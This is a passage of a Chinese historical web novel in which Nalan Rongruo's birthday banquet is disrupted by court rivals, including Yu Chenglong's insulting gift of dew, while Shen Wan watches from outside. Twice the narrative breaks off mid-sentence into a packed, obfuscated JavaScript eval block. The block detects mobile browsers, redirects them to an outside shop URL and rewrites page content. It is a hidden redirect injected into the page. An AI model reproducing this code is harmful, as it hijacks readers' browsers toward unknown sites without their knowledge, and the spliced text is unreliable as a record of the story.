沈宛觉得自己懵了,公子的脸倒是一如既往的耐看。 那张耐看的脸,还在微笑着等待一个答案。 沈宛只感觉:我要是答错了或是理解偏了,那就太丢人了!就算是公子不怪,我也莫名其妙地觉得对不起他、对不起那只凤梨,这是怎么回事? 于是,沈宛就豁出去一答:“第一次砍,第一次吃,难以对公子描述感觉。” 得到的回应是,公子温文尔雅,邀请道:“下次一起吃。” ——容若太令人安心了。 沈宛心里只剩下这样的想法。 他不管遇见什么诧异的事、听见什么夸张的话,都没有什么明显的情绪起伏。 其实在沈宛心里,还是很盼着容若在听见“砍”字时,能够有普通人的反应的:尖叫或是呆然,兴奋或是数落,不解或是共感……只要容若能不那么像个“观赏品”一般就好。 “宛卿,你瞧得出来我病着吗?” “不十分瞧的出,公子掩饰的好。” “你为什么要砍凤梨?” 容若那副“慢半拍、后知后觉”的可爱模样,瞬间把沈宛惹笑了。 “因为你没教我怎么吃。” “那……你砍了以后呢?” “照着公子的逻辑和反应,我不会答。” 两人竟一起笑了起来,笑了好久。 一方,是试图做个普通人的贵公子;另一方,是百计观察贵公子内心活动的奇女子。 这应和了什么呢?应该是: 不思量,自难忘;多思量,更难忘。 意切处,后生笑;亲切处,自生笑。 容若喜欢这种无拘束的对话感,能从无拘束的对话中“敞开心扉”和“得到笑声”,对他而言:就是很少有、很值得珍惜的事情。 容若觉得,世界上大抵只有两个人能够一字不差地明白自己的“说话逻辑”,一个是爱新觉罗·玄烨;另一个是纳兰明珠。 ——忠孝两占,是悲是喜? ——容若心事,当有第三人解。 罢了。罢了。这是宿命。 其他人,应该多是处在一知半解、完全不解、无端曲解之中。 不过有宛卿在就好了,自己说的话,不管她怎么解,都没关系,只要彼此间有笑容尚存,就能除却一切杂念、两心相拥。 * 容若跟沈宛在一起的时间很短暂。 别离之后,他回到了家中,且去找了明珠。 “儿请阿玛的意思,皇上留下的玉佩,如何应对?” “你是想留,还是想还?” “儿就是两难,才找阿玛拿主意。” “皇上的东西,不能叫玉佩,那是龙佩!被有心人捏造出一条莫须有的罪名来,那意味着什么?纳兰父子蛊惑君心、罪大窃国当杀啊儿子,你说明府能留着它吗!” 明珠把那块墨绿色的、拿在手里沉甸甸的东西谨慎地放在了桌面上。 “等到生日过后,儿把龙佩归还皇上。” “糊涂!”明珠小训,“你要是主动把龙佩还给皇上,太皇太后那边能交待吗?别说你不能交待,连阿玛我也要担个教子无方的责问。” 明珠指着那块龙佩道:“你把龙佩收好,等到顾问行顾公公代表皇上来给你送生日贺礼的时候,你让顾公公把皇上的东西拿回给皇上。另外,你不能一个人去慈宁宫拿回咱们纳兰家的传家宝素佩,阿玛得跟你一块去面见老祖宗!” “阿玛不要说的就跟儿要去向老祖宗请罪一般,儿本就没错。” “阿玛没说你有错!”明珠强调,“但规矩就是规矩,皇上挨了老祖宗的骂,就该你去老祖宗面前谢罪和承担皇上的过错。” “儿不愿。”容若半低头,“素佩要认错才能领回的话,儿宁愿不要了。” “你给我醒醒!”明珠看向容若腰间的空落处,“你要在老祖宗面前慷慨陈词,大不了阿玛陪了你就是。怎么能说出不要素佩的话?” “只是没了意识,就惹出这么一桩事来,儿的确是不该。” “什么?”明珠大惊,“你不是累睡的?” “儿不怪御医的回神汤药不好,只怪自己没用。”不过容若很快又道,“阿玛放心,明日生日,儿会滴水不漏、中用始末。” 明珠对着空气骂了几句御医之后,把容若拉到自己身边坐下。 他对容若关切道:“那些强打精神的汤药伤身,以后别喝了。” “额娘虔诚,诸佛肯定能听到纳兰家的声音,容若定会一直尽孝在阿玛和额娘膝下,一家一同长命百岁。” 明珠看见了容若戴在手腕上的自己送的小凤眼菩提子手串,瞬间感动万千,轻拍着容若的手道:“儿啊,你之所愿所盼,就是纳兰家的所愿所盼,诸佛加持,定能成就。” “儿今日见了靳辅,有两个感受要说给阿玛听:第一,阿玛对明党之众的言传身教可贵,但也要叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你敢不敢把自己变成一条疯狗?”索额图一转眼珠子,“疯狗咬人,咬了也白咬,就算是把尖牙磕碰到了珠玉上,那也是珠玉的损失,伤不了几颗狗牙!” 于成龙一拍脑瓜子,“索大人,你莫不是叫我去砸了明珠的儿子的生日的场子?” 索额图一把抓住于成龙的衣领,狠道:“本官什么时候说过那些?你那只耳朵听见本官说出过:不让贵公子好好过生日的话?嗯?” 于成龙的脑子却是越来越清晰,索额图就是那个意思。 “索大人,横竖我都是被皇上钉在要处置的份上的人了,还怕那些吗?” 索额图一松于成龙的衣领,把他使劲往墙壁上一推,双手叉腰盯着他,一言不发。 “于某一个人砸不了贵公子的生日场子,但是扫扫贵公子的颜面还是能够的!” 索额图像只愤怒的狮子,“本官,一个字没说过叫你去明府的话!!” 然而,这样的激将法,才是最有效的。 于成龙拱手,“于某多谢索大人提点,日后就算是被革了职、贬了官,也记得给索大人报恩!” “混账!”索额图指向密室大门,原地跺了两下脚,“你给我滚!!本官正直坦荡,从未做过不让人好过之事,也从未借刀杀人、害人!!” 于成龙就径直走了出去。 索额图一个人在密室之内狂笑。 笑的放纵肆意、爽快无比—— 明珠啊明珠,你可知道,廉吏身上有个共通的特点,那就是生命力格外顽强,他们只要是认定了一个理儿:你贪脏你营私、你儿子心机欺君,就永远不会在你面前知进退。 * 索额图心情愉快地回到府邸,迎面而来的,是他的次子格尔芬。 “你再说一遍!” “儿说明日要去明府瞧瞧纳兰容若的生日的场子。” “荒唐!人家给索家发请函了吗?” “没有。” “那你去做什么?” “儿不是要进入国子监读书了吗?不跟纳兰容若搞好关系怎么行?” “你要去尽管去,睁大眼睛好好看清楚:明日有明珠和他儿子好受的!” 这句话落音,惊起了一只从树枝上迅速窜过的松鼠。 许多积雪从树梢上掉落,毫无规律,堪如尘埃。 * 今晚,容若听了阿玛和额娘的话,睡的特别早。 贴身侍女袖云也按照老爷和夫人的吩咐,寸步不离地守在公子床侧,就怕公子有什么闪失。 沈宛悄悄潜入过明府,只隔着窗纱看见了容若的轮廓。 她当然是没有给容若添扰,这样的情形下,敢进容若的房间去跟他私见,那就是真应了惠儿口中的那句话:“你要害死公子吗?” 沈宛在窗侧淡笑,她想: 容若早早安睡的模样肯定很美好,他明日的正式生日装束肯定也很美好。 真想堂堂正正地在容若的生日宴上登场啊,如果上天能够给予自己这么一个契机的话。 【注1】 第一联:玉盏随着公子昏死时并碎,清音本不该震惊明府上下,而应被洪崖(美男神仙)听见、且得仙家拍肩唤醒才对。【用典:洪崖拍肩】 第二联:沈宛最是珍惜公子的玉佩,公子蹲下看水仙花时,她亦是用上手接住公子的腰间素佩,避免素佩碰到地面而染尘。公子的玉佩被玄烨拿走后,走出房间,站在楹柱侧看月惆怅。 第三联:公子跟沈宛总是不期而遇,没有相约相聚。公子本应藏高阁养着,却去了沈宛身边、想着小驻辟寒。 第四联:御婵,沈宛的字。容若,纳兰性德的字。玉蝉出雪,沈宛不畏世俗;出渌水亭,见意中人,融景许诺,为一人,逐一梦,公子有情有义。 46.第46章 容若起床后,听见了袖云的第一声生辰道贺,他高高兴兴地对她道:“同乐同乐。” 然后,容若就按照纳兰家的规矩换上了生辰当日应该穿的服饰,左手上掩袖戴着明珠赠予的——值千金的极细粒小凤眼菩提手串。 走出房间,容若感受到了一股喜庆的氛围。 并非家中有所布置,而是心情使然。 揆叙和揆方一起跟容若哥哥说了庆生的吉祥话,就一左一右拉着长兄一起去厅堂跟阿玛、额娘和惠儿姐姐一起吃早膳。 觉罗氏道:“我儿今日玉树临风,定是这天下第一姣貌之人,也是这天下获得最多祝福之人。”说着,便是拉过容若的手,“但是在额娘心里,容若永远都是独一无二的纳兰家长子,平安便是福。” “想着今日是难得的一天,自己的生日天下无人不知,儿自身也欢喜无比。”容若对觉罗氏道,“儿最高兴的,还是这一家子一起吃饭的时光,不必因为生日而隆重,就跟寻常一样就好。” “年轻的时候,生日还是要好好过。”明珠笑道,“免得像阿玛一样,位极人臣,过生日还要看皇上和太皇太后的脸色。” “许多事,阿玛想想像镜子一般的索额图,心里不就平衡了吗?”容若给明珠舀了一块肉沫勾芡豆腐,”其实看脸色这回事,都一样。” “你过生辰,不提索党那些不愉快的事。”明珠也给容若夹了菜,“来,尝尝这个海参干贝馅儿的饺子,还有这一盅虾仁蒸蛋。” “阿玛你说,是该给备菜的厨子赏钱?还是该给备酒的小厮赏钱?” 明珠一下子明白容若的意思,假意对管家笑道:“去把备菜的和备酒的管事人都叫来,就说公子有赏。” 等到两个管事人真的抱着分享喜悦的心情来了,却看见了明珠不一样的脸色。慌忙跪地,问老爷何事、何故? 明珠冷道:“看公子的意思,公子要是觉得该把你俩撵出明府,那本官就叫你们的一家老小都不必在老家呆下去了,直接吃了流放之苦去!” 两个管事人诚惶诚恐地看向容若,眼里全是:公子饶恕,小的们真的不知道犯了什么错啊。 “这么个好日子,我说了是赏你俩就是赏你俩,不会真像阿玛一样大吓你们,否则这一通《明珠家事》传出去也不好听。” 容若叫了那两个管事人起来,继续道: “倒不是我自己爱吃素,见不得这一桌偏多的海味,而是你俩想想,这些海味跟美酒能一起吃吗?皇上笑我:‘纳兰,你除了医学之外无一不通。’好歹我也晓得海味跟美酒同食,结果就是:易腹痛和起红疹。” “中午的饭菜,要撤要换海味也来不及了,毕竟台席众多。所以,把酒饮换成普通的水饮就好。” “公子恕罪,是我等糊涂,没有思虑周全才犯下这等大错。只是明府大宴,叫宾客们喝凉开水是闻所未闻啊,我等只怕坏了明珠大人和公子的名声,真的是流放一百次都不够抵的。” “你们还敢说——” 要不是怕爱子的生日还未开始,大怒伤肝,意头不好,明珠真恨不得摔碗拍桌、大肆发作一番。 “我写《饮水词》,明府之外有明府名下对外营业的:饮水词歌·素菜馆,人皆知道我的本意,所以这回生日宴叫宾客们喝凉开水也说得过去。”容若正色叮嘱那两个管事人,“以后类似的饮食大错,不可再犯,记下没有?” “我等该死,犯下大错还要公子买单。” 两个管事人向容若和明珠磕了三个响头认错。 “人非圣贤,怎能无过?”容若宽和道,“我过生日,希望人人好心情,所以你俩不必自责。” “我说过要赏你俩,我不会食言。”容若从身上拿出两枚通宝,“除夕之夜,我跟皇上一起往‘石铸灵龟’的口中投通宝,幸运全中。正好通宝还有剩余,就想着也把一份好运分享给你俩。” “收下吧!明府上下,和心应手,共安泰。” 容若亲自起身,把一份善意传递到了自己的家仆手中。 两个管事人心中十分感动。 皆言谢公子道:“好人定有好报、所愿定有所得。” 后来,《明珠家事》有云: 值长公子生辰,家共朝食。 家仆失察,备膳欠妥,酒与海错(即海鲜)共。 容若不愠,善曰:“宴撤酒,换以水饮。”复以通宝赏之,曰:“应和、应心。自然凡事安泰。” * 索额图次子格尔芬到达明府的时候,正好看见跟画师禹之鼎一起来的官云辞。 格尔芬下意识上前道:“在下不请自来,就算是被拒之门外也有理。就是不知道口口声声说‘嫁谁都不嫁纳兰公子’的云辞格格,因何而来?” 官云辞落落大方道:“我不嫁纳兰公子,不等于我不能来公子的生日宴上看公子呀!” “真的只是看公子吗?” “你这么问什么意思?”禹之鼎打断道,“是容若不中看?还是指在满堂的宾客谁没有眼光,不懂得欣赏容若?” “禹画师误会。”格尔芬笑了笑,“我的意思是,不知道今日云辞格格的心在谁身上。” 说罢,格尔芬就走向了明府正门。 一看门的负责验收请帖的家仆道:“我家长公子说过,来者皆是客,但要进这道门,还需要留下一道‘礼’给他。” 格尔芬灵机一动,巧解道:“我没带‘礼物’来,给你家长公子‘行一礼’可算?” 这便是巧了,容若正好出来。 容若问不速之客:“你是?” “我叫格尔芬,索额图次子。我阿玛训我:明索两党水火不容,你是不是要跟纳兰性德创造一段友谊佳话?”【注1】 格尔芬爽朗地问:“容若,你说呢?换明珠这么问,你会怎么答?” 容若一怔,然后满心惊喜:“你叫我的名字,是把我当作朋友吗?” 格尔芬看着纳兰公子,他不解他,但觉得他是发自内心的欢喜,“你这人真奇怪,怎么会因为这点而高兴、而感动?” “我不知道,纯粹就是高兴、感动。”容若一琢磨,“你方才的问题,我会这么跟阿玛说,儿爱读李商隐,其中一句:定知何逊缘联句,每到城东忆范云,不堪甚解。请教阿玛,容若与格尔芬,能否得何逊与范云之缘?” “容若,你真是无可救药!” “放肆!”正在接受宾客的礼物的明府管家忽然过来,“即便你是索额图之子,也没资格对我家公子这般说话。” “他不是在说我的病,无妨。” 容若抬手制止,示意管家不必管这边,继续去忙手头的事情就好。 管家在容若耳边小声道:“公子,索额图不是好东西,他的儿子也一样,当心啊——” 容若反而显得很宽心: “我想,格尔芬是想说:容若真是个比李商隐更无药可救的可怜人吧?李商隐在诗中晦涩用典,只为不让人考据字里行间的文字真解。容若写的词,十人十解,没少在皇上和太皇太后面前遭的罪,哪里是世人知道的?” 格尔芬走近容若,在容若跟前道: “李商隐是不在乎自己诗中的用典能否被别人看懂,容若你是特别在乎自己的词中用典能被人看懂,所以我才说你无可救药。日后你我一起到国子监读书,楚雨含情皆有托,后会有期。” 容若诧异,能够张口说出那句李商隐的诗来的人,不见得是不学无术之辈啊!看来索额图之子,也不是传说中的那般的平庸之辈吧? 格尔芬掩饰自己的“实有大智”,比我掩饰自己的病痛还深邃。 他是想告诉我—— 楚雨含情:气候惹病,心病也好体病也罢,该起步该相识的情份已经带到,随容若你揣测动机和真意。 暗怀有托:指寄托心情,有隐藏的想入仕、想躬身入局大展抱负之意。将来是斗是和,也随容若你屑或是不屑应战。 “留步。”容若追出几步,“来都来了,既有‘楚雨之托’,怎能不明我‘宋玉无愁亦有愁’之意。” 格尔芬隔着一段距离向容若挥手,“纳兰心事比宋玉之愁深,解来费时费脑,不适合我这种纨绔子弟。” 容若笑,什么纨绔子弟,明明就是深藏不露的有缘之友。 “管家,送客。” “公子,明珠大人与索额图势均力敌,不必费送客之礼吧?” “唔,你不肯送。”容若自己往前走,“那我不勉强你,我亲自送。” 管家走到官云辞和禹之鼎身边,疑惑问:“格格,禹画师,我家公子今日是不是糊涂了?” 云辞道:“纳兰公子有种‘棋逢对手’之感,但我又不觉得他跟格尔芬之间会演变明珠和索额图那样。儿子们之间的‘友谊’二字,索额图对此气过了,不知道明珠对此反应如何。” 禹之鼎道:“我倒是盼着,容若跟格尔芬之间只是偶然相遇,日后在国子监各不相扰地学习也就罢了,不必为碍着明珠和索额图的立场,而‘彼此冷待’或是‘彼此热战’。” “我没有一个八旗格格朋友,容若也没有一个八旗世子朋友,所以我最能体会当中心情。容若确实是把格尔芬当成有缘人了,不然他也不会亲自去送。” “云辞,这是好事还是坏事?” “一件,不可预测之事。” 管家招呼道:“云辞格格,禹画师,里面请——” 官云辞和禹之鼎就一起进入了明府,不再讨论别的事情了。 * 容若的生日,明府内部,雅客满堂。 容若虽是跟阿玛明珠和额娘觉罗氏一同坐在主桌席上,但也时时顾及别桌的宾客,往来走动,相饮相言,没有不周与怠慢。 明珠一脸笑意,跟一些与自己关系好的同僚们交杯换盏,相饮甚乐。 哪怕杯中不是酒而是水,明珠也喝出了清甜的滋味: 今日的主角,我的容若可不仅仅是我的爱子啊,更是一个可以令我自信地向皇家和天下展示的完美一品。我的容若,言行之间可以影响大清的时局,存在之间可以称作平衡忠孝关系的筹码、悲喜之间可以牵动花开花落和人事更迭。 至高无上! 至高无上!! 反过来,容若一样了解明珠在想什么。 今日自己不算是明珠的儿子,而相当于是明珠的作品。 自己作为纳兰家的长公子的俱来责任、作为皇上的陪臣的珠玉愿成、作为天下的纳兰公子的尽善尽美,以及自己作为一个词人的探索和自尊……理应符合阿玛的期待、理应得到众人的美誉、理应惹的在养心殿的康熙皇帝砸碎一个杯子。 容若淡笑。 皇上你砸杯子了吗? 照着你的性情,你肯定砸了,但你不许怪纳兰。 得空时,容若过去曹寅、禹之鼎、云辞的桌子坐下。 禹之鼎把一个长方形的盒子拿出,放置到桌面。 “容若,我没什么别的长处,只能把自己近来所成的最好的画赠予你。” “这就是最珍贵的。”容若揽过长方形盒子,“我把禹兄的心意装在心里。” “公子能辨别宝石和琉璃吗?”云辞拿出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579963|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个形状不规则的蓝色晶体,“这是我要送给公子的东西。” 容若想起了沈宛说的“砍凤梨”的趣事,忍不住笑道:“最简单的方法,不是用刀刮吗?总不能砍或劈吧?” 曹寅被容若的反应惹的大笑,“今日竟然有幸从纳兰公子口中听得玩笑话,难得难得。” “云辞格格带来的肯定是宝石,我想用来做扇坠不错。蓝色的,晶莹剔透,似水一般。等到冰销雪停,带去渌水亭边的荷花池濯水也别有一番意趣,真好!” 曹寅又炒热氛围道:“容若又变回一贯的容若了,好不容易说了句市井之语,马上就对云辞格格说了一番完完全全是‘纳兰风格’的谢语。” “那就你替我说市井之语。” 容若把蓝宝石放在掌心,问曹寅。 曹寅绘声绘色:“云辞格格给我的宝石,我拿来做扇坠。宝石那么多,我没见过蓝色的,拿去渌水亭边的荷花池过过水也乐的自在。” 满桌皆笑。 还是曹寅比纳兰性德活的明白,话,还是直说本意的好。 容若随着朋友们一起笑。 笑着笑着,他看向了明珠,要是明珠送了一个宝石给自己,自己恐怕要用上严谨的多的措词来谢父才行。 不过,只要一想到今晚宾客都散去以后,自己就能收到阿玛、额娘、惠儿,和两个小弟弟送的生日贺礼,容若心中还是又高兴、又期待、又明亮的。 ——那根九天玄鸟的羽毛,阿玛到底会为我做到什么地步呢? * 此时的容若并不知道,其实沈宛离他很近。 她就在明府的外头,没有潜进去,而是独自感受和想象着里面的一番热闹。 ——公子嘛,肯定是一块游走在客席之间的玉,冰清不染瑕,但又不缺那一番润泽的锋芒。明珠对此是爱,宾客对此是赞,我沈宛对此是惜,天下之人对此是盼。 ——不过,总感觉公子也在小心翼翼地保护自己,保护自己不着累不受伤。如果今天一切顺利就好了,所到之处,令人如沐春风;暂歇小养,令己蓄能再来。角色切换,适应如常,动静交替,此身能抗。公子一定是这么想的。 沈宛掏出了公子送的数粒菩提子来看,心生慈悲。 喜爱菩提之人,内心时时澄澈如镜,能够以慧眼看待这世间的一切。 愿赠菩提之人,身神常常叶海泛舟,能够以明心驾驭这无涯的念想。 但愿公子: 身歇菩提上,染香去灾厄; 梦入菩提中,自在无苦楚。 * 养心殿内。 玄烨毫无预兆地冲地上砸了一个杯子。 梁九功劝道:“万岁爷,好在是纳兰公子的素佩还由太皇太后收着,否则您要是拿错了,砸了纳兰公子的素佩,怕是这老天爷都没法弥补错误啊!” “朕现在还是皇上吗?”玄烨早就处理完了奏折,“这么些空闲的时间,连个自由都没有!” “顾总管已经代万岁爷去往明府了。” “朕现在爱吃的菜不能吃超过三口,臣子的生日去不得,派个人去主理黄河水务还要被廉吏阻一手……去传了朕的意思,赐靳辅开河金杖一对。“ “是!”梁九功应道,“皇恩浩荡,想必靳辅大人一定能够治水有成。“ “办完赐开河金杖的差事后,你再去坤宁宫叫皇后过来,就说朕想喝皇后亲手做的百合莲子甜汤。“ “是!“ 玄烨单手支着脑袋,一半思绪给了河运和漕运,另一半思绪给了纳兰。 他暗示自己: 人只要一琢磨事情,时间就容易过。 纳兰的生日,快乐的时光易过;朕的养心时光,也要变得快过。 * 索府。正门客厅。 索额图挑眉冷问:“你怎么回来了?明府逐客?” 格尔芬乐观道:“儿觉得云辞格格好。” “混账!”索额图被儿子答非所问的话一气,“我怎么就生了你这么一个不中用的东西?” 格尔芬天马行空,继续道:“纳兰性德也极好,是一个翩翩公子,雅致又精致,才学性格无挑,八旗世子们不跟他相交是八旗世子们的损失。” “你跟他相交才是我索额图的损失吧?明珠养儿子是养珠玉,我索额图养儿子是刮铁锈。”索额一叹,几近扼腕,“人家管明珠的儿子叫——” “儿直接管他叫:容若。”格尔芬忽然大喜,绕着客厅跑了一圈,停在索额图面前,“容若高兴的一塌糊涂。临别,还亲自送儿走了一段路。” “夫人,给我拿家法来——!!” 索额图觉得,格尔芬这一趟去过明府,怕是疯魔了。 “老爷,打不得啊!” 佟佳氏拦住了索额图扬起的手。 索额图往椅子上重重一桌,浑身怒颤道:“我索额图聪明一世,教出这么一个疯子来,真是愧对赫舍里氏的列祖列宗。” “阿玛说的是什么话?”格尔芬就跟是得道成仙了一般乐在其中,“纳兰心事我不知,但是纳兰情怀我最知!” “我看……你是疯了!” 骂罢,索额图给自己灌了一大杯茶,就气呼呼地回房了。 * 另一边,近午膳时间。 于成龙打听到“纳兰容若撤酒、换水饮”的消息后,心生一计。 他决定了—— 要给纳兰容若送一份“好礼”,好到能让贵公子当众气的昏阙过去、命危悬丝的大礼。 【注1】索额图父子对话,见第40章。 47.第47章 生日到了中场的时候,明珠怕容若累着,亲自带了容若到里屋小歇。 容若很诚实告诉明珠:“多谢阿玛,让儿得了‘可知又难知’的松弛之乐。” 见儿子如此坦直地想把“无拘束、无戒备、无顾虑的”愉快时光交给自己的父亲,让自己的父亲来判断:儿可以歇多久、可以歇到什么程度…… 明珠不禁在心中生出一股愧疚来: 容若身子骨的好与累,客观上的继与歇,为什么要盼着我来允许呢? 这孩子着实是懂事过头了,人前人后,他最在乎的,还是我明珠的颜面和纳兰家的荣光啊! 明珠正想说“阿玛随你的心情,你来调适自己的身体状态就好”时,管家敲门请见。 明珠本来想说“不见”,却听见容若道:“叫管家进来吧,没有要事他也不会来。” “你歇着,阿玛出去。” “嗯。” 只一会儿,容若就听见了从门口传来的明珠的冷声:“这东西公子见不得,先拿走。后面本官会处理。” 管家尽可能镇定道:“老爷,外头怕是无人不知了。” “连刚刚到来的、带着皇上的厚礼来的顾问行顾总管也亲眼瞧见了、知道了。”管家补充道,“顾总管还对那个狂徒训了一句话:‘不识纳兰公子慈悲的蠢东西!’ ” 明珠依旧是没有动干戈,只怕打扰到在内歇息的容若。 “你先去谢了皇恩和谢了顾公公,本官后脚就到。” “是,老爷。” “阿玛,怎么了?是谁送了什么我见不得的东西过来?” 明珠把爱子揽靠在自己的肩膀上,慈爱道:“容若,你歇着,阿玛会处理,等处理好,再叫人通知你返场。” “阿玛说吧!”容若做好了心理准备,“儿有您的肩膀,儿不怕。” “于成龙,送来一碗露水。” “什么?”容若果然一时崩不住,猛地喘咳了好几声,浑身发颤。 明珠就知道会这样,只得好好安抚儿子。 “容若,今日于成龙敢这般对你,看样子他是不把纳兰父子和不把皇上放在眼里了。于成龙要做一只疯狗!” 容若从长榻上站起,右手半握拳背在后背,仰头看向头顶的横梁。 明珠起身来到儿子身后,拍了拍儿子的后背,主张道:“你回去躺着,阿玛这就出去——” 容若从口中强作降压般的舒出一口气来,不知道为什么很想扫落桌面上的茶具。 “这茶具不是皇上的龙佩,要摔就摔,你能先把心中的郁气发泄出来,阿玛反而放心。” 容若最终忍了下来,只用戴着菩提手串的左手的指关节抵着黄花梨木桌面,对明珠说了一句看似不相关的话: “卢氏,不娶。娶之,儿不必盼着什么恩爱,还不如先送她两句话:莫盼执手度流年,只遣佳期更后期。” 明珠问:“叫你事后气成这样,那个卢氏说了什么?” “若字,世上最悲伤之字。” 容若贴着桌面紧了紧指关节,双眸含着失望与深伤。 “卢氏可以找出十个百个理由,说‘若’是无能为力之憾,但是改变不了:她的伪善,她的自私,和故乞垂怜。怅然若失、若有所丧,她对容若是这种实感,好啊,我这一辈子都不会对她释怀。” 明珠亦是气愤: “那些人,对我明珠的长公子轻易做出不敬之事和说出不敬之话,可气可恨,过力过分。总有一天,老天爷也会清算他们!” “儿啊,阿玛知道你忍不得他们,阿玛知道……” “见不得我好,普通女子和朝廷廉吏都见不得我好。一个敢在帝后面前轻蔑我这个人,另一个敢在众宾客面前拿‘露水易逝’咒我死……” 绝望而悲怯。低眸、冷彻。 求救而不得。轻声、呢喃。 容若在情绪上十分失落和落寞。 身躯单薄易倒,伤神转浓易沉。 他好似一株瞬间零落的幽兰一般,叫人心疼,却不知该如何安慰。 风起兰易摧,雪降兰易折。 此中看枯荣,翻弄罢取舍。 他捂着疼痛无比的心脏,忍着煎熬无比的病躯,被伤的无以复加,却没法说出一份苦楚。什么都抱怨不得,什么都宣泄不得,只能化作苦水饮下。 凭谁看到公子这样,都会上前去拥抱他和保护他吧? 一块美玉,雕琢时存着痛感,打磨时也存着痛感。 只是这份痛感,掩盖在美感和价值感之下,唯有公子自知罢了。 * 明府的正厅客堂之中,于成龙大吵大闹。 明珠父子未出来之前,总管大太监顾问行以为自己是代表天子而来,能够让于成龙收敛,却不想: 那于成龙竟然跑去了公子最爱的渌水亭,就差踢了公子所珍爱的花花草草和踩上公子读书写字的石桌上面去大放厥词了。 顾问行搬出了康熙皇帝这个大靠山来,问于成龙:“头上有天子,你到底想在明府放肆到什么地步才肯罢休?” 未几,只听见一阵恶鬼似的的吼叫声:“纳兰公子怕是要被我气的失去理智了吧?可千万别一命呜呼!” ——这还了得? 顾问行打发了身边的徒弟回宫,叮嘱道:“去养心殿回了万岁爷,就说顾公公这份差事没法办了,等过后再向万岁爷请罪。” 那小太监问:“干爹,于成龙砸场纳兰公子的生日场子的话,一个字都对万岁爷说不得吗?” 顾问行拍了一下徒弟的脑袋,骂道:“万岁爷要是因此跑出了宫,搞纳兰公子的生日更没法过,太皇太后怪罪下来,你这颗脑袋还要不要了?” “奴才这就去办!” 那小太监紧握着手中的、照着顾总管的意思要拿回给万岁爷的“金刚菩提子”礼盒,一溜烟地往明府外跑去。 * 小房间内。 容若好不容易缓过了神,重新抖擞了精神站在明珠面前。 “镇的住。” “什么?” “阿玛放心,儿镇的住场子。” 说罢,容若打起了十分元气走向厅外。 明珠大惊,紧跟上了儿子的脚步。 * 大厅之中。 侍女袖云不乱方寸,对着众宾客道:“老爷到,公子到——” 满堂肃静,只剩下于成龙的笑声。 风增雪加,天气骤然变得似有感。 容若走到于成龙面前,冷眼瞧着他。 要说有什么感觉?大抵是眼前人的狂傲和执拗叫容若厌恶。 于成龙摆出鄙视纳兰父子和憎恶明府一切的模样,竟然先一步当众大骂: “纳兰公子好是缜密的心思,为了给明珠规避一个‘贪’字,竟然连酒也省了,直接叫众人喝凉开水。这还不够,那大堆大堆的生日贺礼,怕是一件也不敢留,会送到京师之外的地方去供奉寺庙或者换粮派发百姓。纳兰公子这份经世济民的善念要是过了头,跟假仁假义有什么分别?” “纳兰公子饮食以半素为主,今日桌上却尽是些海味和肉食,何故啊?我看纳兰公子的口味偏好全是装的吧!为了一份素雅和一个面具,值得吗?我听闻京师有明府旗下的:饮水词歌·素菜馆,名义上是为纳兰公子所设、接待全天下客人,实际上却是一处见不得光的藏污纳垢之所!我定要把这里面的猫腻都掘出来,让大家都擦亮眼睛看看:所谓的冰清玉洁的纳兰公子,是如何苦心孤诣地为父敛财、交易官阶……” 心如止水,听罢不记。 身似莲华,出水辄止。 容若倒是有种:自己找气、气伤伤身,概是不值得的感觉。 “我明珠为官多年,还没有见过像你这么个信口雌黄的东西!我儿人品天下共赏共知,断是由不得你这般捏造中伤!” “上梁不正下梁歪。” 于成龙自持理由,正要再展开大论一番,岂料局面逆转,自己反而被在座的宾客们纷纷指责不是。 连画师禹之鼎都对同桌的宾客们道:“在下正是明珠大人举荐之人,如今在如意馆坐班且有幸成为皇上的御用画师,一切多亏明珠大人慧眼。在下算是明党之人,但是在下可以作证,明珠大人没有叫我孝敬过银子,也没有要求我回报他、为他做事。” 另一桌,亦是有人道:“我追随明珠大人,非因明珠大人的势力,而是佩服明珠大人的官场才干和纳兰公子的无挑为人、真才实学。谁要是敢说纳兰父子唯利是图、狡猾奸诈,我头一个不服。” * 一片议论声中,容若对于成龙呵责道: “我设计的亭子名叫‘渌水’,你给我送了一碗‘露水’过来,动作当真是了得啊!今日是我的生辰,你敢拿‘露水易逝’来咒我早死,胆子倒是不小。” 在于成龙有所反应之前,容若从管家手里拿过那只装了露水的碗,用力往地上一摔,随着一声大响,器裂水溅,惊煞众人。 顾问行第一次见这个名场面,心想: 万岁爷要是知道了,会是什么反应。认同公子?在乎公子?还是单纯地觉得公子不可思议? 总归万岁爷是能够体会到公子心里压着一口气、堵的慌吧?不然像公子这么好脾气的人,也不会这般忍无可忍、掷地有声。 “你闯到我家来,接下来想向皇上弹劾什么?” 容若目光冷冽,逼问于成龙:“明珠结党营私、贪赃枉法、卖官鬻爵?还是纳兰性德沽名钓誉、恃宠而骄、左右圣心?” “你以为明珠掌管刑部,就没人能审敢审纳兰父子是吗?”于成龙直直地对上了那份清冷目光,“严刑铁证之下,必定审到纳兰父子百口莫辩、俯首画押为止!” “好一句严刑铁证,原来于大人平时就是这样办案的。”容若讽刺而笑,“只可惜于大人人如其姓,愚不可及。” 于成龙怒:“你敢堂堂羞辱我?” “有何不敢?羞辱算轻。” 容若当众道: “你所罗列的罪名,纳兰父子认与不认有别吗?关键是皇上不能认。明珠是效力君前的重臣、纳兰性德是陪伴君旁的侧臣,到头来,这对父子竟然劣迹斑斑、颠倒黑白、祸国殃民,新亲政的皇上脸面何在?大清的吏治和朝纲何在?” 